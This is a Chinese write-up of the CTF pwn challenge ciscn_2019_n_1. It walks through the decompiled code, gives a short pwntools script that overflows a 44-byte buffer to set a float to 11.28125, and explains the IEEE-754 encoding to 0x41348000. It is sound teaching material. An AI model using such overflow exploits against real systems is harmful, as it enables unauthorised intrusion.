pwn解题-ciscn_2019_n_1

比较简单

alt text

看一下main函数

alt text

锁定func()

alt text

想办法输入一个v1使得v2等于11.28125就行了

反汇编

alt text

分配了48的地址空间,v1占了44,v2占了4刚好,秒了

写exploit:

1
2
3
4
5
6
7
from pwn import *

p = remote('da40c72b40162b7b787577c2.tcp-ctf2.dasctf.com', 9999, ssl=True)

p.sendline(b'A'*44 + p32(0x41348000))

p.interactive()

结果:

alt text

小tips:

一、

为什么是p32(0x41348000)而不是p64(0x41348000)?

回答:v2 的类型是 C 的 float,固定 4 字节(单精度 IEEE-754:1 位符号 + 8 位指数 + 23 位尾数),而 p32 会打包成 4 字节,p64 会打包成 8 字节。数据宽度必须和变量的宽度一致。

二、

温习一下11.28125到0x41348000的转换(将浮点数编码成 32 位二进制,再转换成十六进制)

10进制到2进制

整数部分:

11 = 1011₂

小数部分用“乘 2 取整”:

0.28125 × 2 = 0.5625  → 0
0.5625 × 2 = 1.125 → 1
0.125 × 2 = 0.25 → 0
0.25 × 2 = 0.5 → 0
0.5 × 2 = 1.0 → 1

(到 1.0 结束)

所以:

11.28125 = 1011.01001₂

31          30            23 22                    0
+------------+---------------+----------------------+
| 符号位 1bit| 指数位 8bit | 尾数位 23bit |
+------------+---------------+----------------------+

2进制到32位

① 确定符号位

11.28125 是正数:

S=0

② 确定指数位

将二进制写成科学计数法:

1011.01001_2=1.01101001_2\times2^3

小数点向左移动了 3 位,所以实际指数是 3。

单精度浮点数的存储指数:

E=3+127=130

将 130 转成二进制:

130_{10}=10000010_2

③ 确定尾数位

标准化后:

1.01101001 × 2³
--------
尾数部分

最高位的 1 不需要存储(正规数隐含的前导 1)。

因此取:

01101001

然后在右侧补 0,直到满 23 位:

01101001000000000000000

得到:

符号位:0
指数位:10000010
尾数位:01101001000000000000000

拼接:

0 | 10000010 | 01101001000000000000000

得到:

01000001001101001000000000000000

每 4 位一组:

0100 0001 0011 0100 1000 0000 0000 0000
4 1 3 4 8 0 0 0